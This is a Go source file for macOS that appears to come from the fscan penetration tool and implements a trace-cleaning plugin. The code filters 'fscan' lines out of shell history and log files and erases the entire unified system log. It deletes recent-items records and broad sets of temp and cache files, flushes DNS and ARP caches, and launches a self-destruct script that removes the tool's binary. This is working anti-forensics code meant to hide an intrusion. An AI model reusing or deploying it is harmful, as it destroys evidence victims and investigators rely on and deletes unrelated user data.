//go:build darwin

package cleaner

import (
	"fmt"
	"os"
	"os/exec"
	"path/filepath"
	"strings"
	"time"

	"github.com/shadow1ng/fscan/common"
)

// cleanSystemTraces 清理macOS系统痕迹
func (p *CleanerPlugin) cleanSystemTraces() map[string]interface{} {
	report := make(map[string]interface{})
	var cleaned []string
	
	// 1. 清理Shell历史记录
	if shellHistory := p.cleanShellHistory(); len(shellHistory) > 0 {
		cleaned = append(cleaned, shellHistory...)
		report["shell_history"] = shellHistory
	}
	
	// 2. 清理系统日志
	if systemLogs := p.cleanMacSystemLogs(); len(systemLogs) > 0 {
		cleaned = append(cleaned, systemLogs...)
		report["system_logs"] = systemLogs
	}
	
	// 3. 清理最近项目记录
	if recentItems := p.cleanRecentItems(); len(recentItems) > 0 {
		cleaned = append(cleaned, recentItems...)
		report["recent_items"] = recentItems
	}
	
	// 4. 清理Spotlight索引
	if spotlight := p.cleanSpotlightIndex(); len(spotlight) > 0 {
		cleaned = append(cleaned, spotlight...)
		report["spotlight_index"] = spotlight
	}
	
	// 5. 清理临时文件
	if tempFiles := p.cleanMacTempFiles(); len(tempFiles) > 0 {
		cleaned = append(cleaned, tempFiles...)
		report["temp_files"] = tempFiles
	}
	
	// 6. 清理LaunchServices数据库
	if launchServices := p.cleanLaunchServicesDB(); len(launchServices) > 0 {
		cleaned = append(cleaned, launchServices...)
		report["launch_services"] = launchServices
	}
	
	p.cleanupStats["system_entries"] += len(cleaned)
	report["total_cleaned"] = len(cleaned)
	
	return report
}

// cleanShellHistory 清理Shell历史记录 (与Linux类似)
func (p *CleanerPlugin) cleanShellHistory() []string {
	var cleaned []string
	
	homeDir := os.Getenv("HOME")
	if homeDir == "" {
		return cleaned
	}
	
	// macOS常见的Shell历史文件
	historyFiles := []string{
		".bash_history",
		".zsh_history",
		".sh_history",
	}
	
	for _, histFile := range historyFiles {
		histPath := filepath.Join(homeDir, histFile)
		
		if _, err := os.Stat(histPath); os.IsNotExist(err) {
			continue
		}
		
		content, err := os.ReadFile(histPath)
		if err != nil {
			common.LogDebug(fmt.Sprintf("无法读取历史文件 %s: %v", histPath, err))
			continue
		}
		
		lines := strings.Split(string(content), "\n")
		var filteredLines []string
		removedCount := 0
		
		for _, line := range lines {
			if strings.Contains(strings.ToLower(line), "fscan") {
				removedCount++
				continue
			}
			filteredLines = append(filteredLines, line)
		}
		
		if removedCount > 0 {
			newContent := strings.Join(filteredLines, "\n")
			if err := os.WriteFile(histPath, []byte(newContent), 0600); err != nil {
				common.LogError(fmt.Sprintf("更新历史文件失败 %s: %v", histPath, err))
			} else {
				cleaned = append(cleaned, fmt.Sprintf("%s (%d entries)", histPath, removedCount))
				common.LogSuccess(fmt.Sprintf("已清理 %s 中的 %d 条记录", histFile, removedCount))
			}
		}
	}
	
	// 清理当前会话历史
	if err := exec.Command("history", "-c").Run(); err != nil {
		common.LogDebug(fmt.Sprintf("清理当前会话历史失败: %v", err))
	} else {
		cleaned = append(cleaned, "Current session history")
		common.LogSuccess("已清理当前会话历史记录")
	}
	
	return cleaned
}

// cleanMacSystemLogs 清理macOS系统日志
func (p *CleanerPlugin) cleanMacSystemLogs() []string {
	var cleaned []string
	
	// macOS系统日志路径
	logPaths := []string{
		"/var/log/system.log",
		"/var/log/install.log",
		"/var/log/secure.log",
	}
	
	// 用户日志目录
	homeDir := os.Getenv("HOME")
	if homeDir != "" {
		userLogDir := filepath.Join(homeDir, "Library", "Logs")
		if entries, err := os.ReadDir(userLogDir); err == nil {
			for _, entry := range entries {
				if strings.Contains(strings.ToLower(entry.Name()), "fscan") {
					logPaths = append(logPaths, filepath.Join(userLogDir, entry.Name()))
				}
			}
		}
	}
	
	for _, logPath := range logPaths {
		if _, err := os.Stat(logPath); os.IsNotExist(err) {
			continue
		}
		
		if p.filterLogFile(logPath) {
			cleaned = append(cleaned, logPath)
		}
	}
	
	// 使用log命令清理系统日志
	if err := exec.Command("log", "erase", "--all").Run(); err != nil {
		common.LogDebug(fmt.Sprintf("清理统一日志失败 (权限不足): %v", err))
	} else {
		cleaned = append(cleaned, "Unified Logging System")
		common.LogSuccess("已清理统一日志系统")
	}
	
	return cleaned
}

// filterLogFile 过滤日志文件 (与Linux类似)
func (p *CleanerPlugin) filterLogFile(logPath string) bool {
	file, err := os.OpenFile(logPath, os.O_RDWR, 0)
	if err != nil {
		common.LogDebug(fmt.Sprintf("无法访问日志文件 %s (权限不足): %v", logPath, err))
		return false
	}
	defer file.Close()
	
	content, err := os.ReadFile(logPath)
	if err != nil {
		return false
	}
	
	lines := strings.Split(string(content), "\n")
	var filteredLines []string
	removedCount := 0
	
	for _, line := range lines {
		if strings.Contains(strings.ToLower(line), "fscan") {
			removedCount++
			continue
		}
		filteredLines = append(filteredLines, line)
	}
	
	if removedCount > 0 {
		newContent := strings.Join(filteredLines, "\n")
		if err := os.WriteFile(logPath, []byte(newContent), 0644); err != nil {
			common.LogError(fmt.Sprintf("更新日志文件失败 %s: %v", logPath, err))
			return false
		}
		common.LogSuccess(fmt.Sprintf("已从 %s 清理 %d 条记录", filepath.Base(logPath), removedCount))
		return true
	}
	
	return false
}

// cleanRecentItems 清理macOS最近项目记录
func (p *CleanerPlugin) cleanRecentItems() []string {
	var cleaned []string
	
	homeDir := os.Getenv("HOME")
	if homeDir == "" {
		return cleaned
	}
	
	// 最近项目plist文件
	recentPaths := []string{
		filepath.Join(homeDir, "Library", "Preferences", "com.apple.recentitems.plist"),
		filepath.Join(homeDir, "Library", "Application Support", "com.apple.sharedfilelist"),
	}
	
	for _, recentPath := range recentPaths {
		if _, err := os.Stat(recentPath); os.IsNotExist(err) {
			continue
		}
		
		// 对于plist文件，我们采用删除整个文件的方式
		if strings.HasSuffix(recentPath, ".plist") {
			if err := os.Remove(recentPath); err != nil {
				common.LogDebug(fmt.Sprintf("删除最近项目文件失败: %v", err))
			} else {
				cleaned = append(cleaned, recentPath)
				common.LogSuccess(fmt.Sprintf("已删除最近项目记录: %s", filepath.Base(recentPath)))
			}
		}
	}
	
	return cleaned
}

// cleanSpotlightIndex 清理Spotlight索引
func (p *CleanerPlugin) cleanSpotlightIndex() []string {
	var cleaned []string
	
	// 重建当前目录的Spotlight索引
	if err := exec.Command("mdutil", "-E", p.workingDirectory).Run(); err != nil {
		common.LogDebug(fmt.Sprintf("重建Spotlight索引失败: %v", err))
	} else {
		cleaned = append(cleaned, fmt.Sprintf("Spotlight index for %s", p.workingDirectory))
		common.LogSuccess("已重建Spotlight索引")
	}
	
	return cleaned
}

// cleanMacTempFiles 清理macOS临时文件
func (p *CleanerPlugin) cleanMacTempFiles() []string {
	var cleaned []string
	
	homeDir := os.Getenv("HOME")
	
	// macOS临时目录
	tempDirs := []string{
		"/tmp",
		"/var/tmp",
	}
	
	if homeDir != "" {
		tempDirs = append(tempDirs, []string{
			filepath.Join(homeDir, "Library", "Caches"),
			filepath.Join(homeDir, "Library", "Application Support"),
		}...)
	}
	
	for _, tempDir := range tempDirs {
		entries, err := os.ReadDir(tempDir)
		if err != nil {
			continue
		}
		
		for _, entry := range entries {
			entryName := strings.ToLower(entry.Name())
			if strings.Contains(entryName, "fscan") || strings.Contains(entryName, "tmp") {
				entryPath := filepath.Join(tempDir, entry.Name())
				
				// 检查文件修改时间
				if info, err := entry.Info(); err == nil {
					if time.Since(info.ModTime()) < 5*time.Minute {
						continue
					}
				}
				
				if entry.IsDir() {
					if err := os.RemoveAll(entryPath); err != nil {
						common.LogDebug(fmt.Sprintf("删除临时目录失败: %v", err))
					} else {
						cleaned = append(cleaned, entryPath)
						p.cleanupStats["directories"]++
					}
				} else {
					if err := os.Remove(entryPath); err != nil {
						common.LogDebug(fmt.Sprintf("删除临时文件失败: %v", err))
					} else {
						cleaned = append(cleaned, entryPath)
						common.LogSuccess(fmt.Sprintf("已删除临时文件: %s", entry.Name()))
					}
				}
			}
		}
	}
	
	return cleaned
}

// cleanLaunchServicesDB 清理LaunchServices数据库
func (p *CleanerPlugin) cleanLaunchServicesDB() []string {
	var cleaned []string
	
	// 重建LaunchServices数据库
	if err := exec.Command("/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister", "-kill", "-r", "-domain", "local", "-domain", "system", "-domain", "user").Run(); err != nil {
		common.LogDebug(fmt.Sprintf("重建LaunchServices数据库失败: %v", err))
	} else {
		cleaned = append(cleaned, "LaunchServices Database")
		common.LogSuccess("已重建LaunchServices数据库")
	}
	
	return cleaned
}

// cleanNetworkTraces 清理网络痕迹
func (p *CleanerPlugin) cleanNetworkTraces() map[string]interface{} {
	report := make(map[string]interface{})
	var cleaned []string
	
	// 清理DNS缓存
	if err := exec.Command("dscacheutil", "-flushcache").Run(); err != nil {
		common.LogDebug(fmt.Sprintf("清理DNS缓存失败: %v", err))
	} else {
		cleaned = append(cleaned, "DNS Cache (dscacheutil)")
		common.LogSuccess("已清理DNS缓存")
	}
	
	// 清理mDNS缓存
	if err := exec.Command("killall", "-HUP", "mDNSResponder").Run(); err != nil {
		common.LogDebug(fmt.Sprintf("重启mDNSResponder失败: %v", err))
	} else {
		cleaned = append(cleaned, "mDNS Cache")
		common.LogSuccess("已重启mDNSResponder")
	}
	
	// 清理ARP缓存
	if err := exec.Command("arp", "-d", "-a").Run(); err != nil {
		common.LogDebug(fmt.Sprintf("清理ARP缓存失败: %v", err))
	} else {
		cleaned = append(cleaned, "ARP Cache")
		common.LogSuccess("已清理ARP缓存")
	}
	
	report["network_caches"] = cleaned
	report["total_cleaned"] = len(cleaned)
	
	return report
}

// createUnixSelfDestruct 创建Unix自毁脚本 (与Linux共用)
func (p *CleanerPlugin) createUnixSelfDestruct() map[string]interface{} {
	report := make(map[string]interface{})
	
	// 创建shell自毁脚本
	shellScript := fmt.Sprintf(`#!/bin/bash
sleep 2
rm -f "%s" 2>/dev/null
rm -f "$0" 2>/dev/null
exit 0`, p.currentExecutable)
	
	scriptPath := filepath.Join(p.workingDirectory, "cleanup.sh")
	
	if err := os.WriteFile(scriptPath, []byte(shellScript), 0755); err != nil {
		common.LogError(fmt.Sprintf("创建自毁脚本失败: %v", err))
		report["status"] = "failed"
		report["error"] = err.Error()
	} else {
		// 异步执行自毁脚本
		go func() {
			time.Sleep(1 * time.Second)
			cmd := exec.Command("/bin/bash", scriptPath)
			cmd.Start()
		}()
		
		report["status"] = "scheduled"
		report["script_path"] = scriptPath
		common.LogInfo("已创建自毁脚本，将在退出后执行")
	}
	
	return report
}

// prepareSelfDestruction 准备自毁
func (p *CleanerPlugin) prepareSelfDestruction() map[string]interface{} {
	return p.createUnixSelfDestruct()
}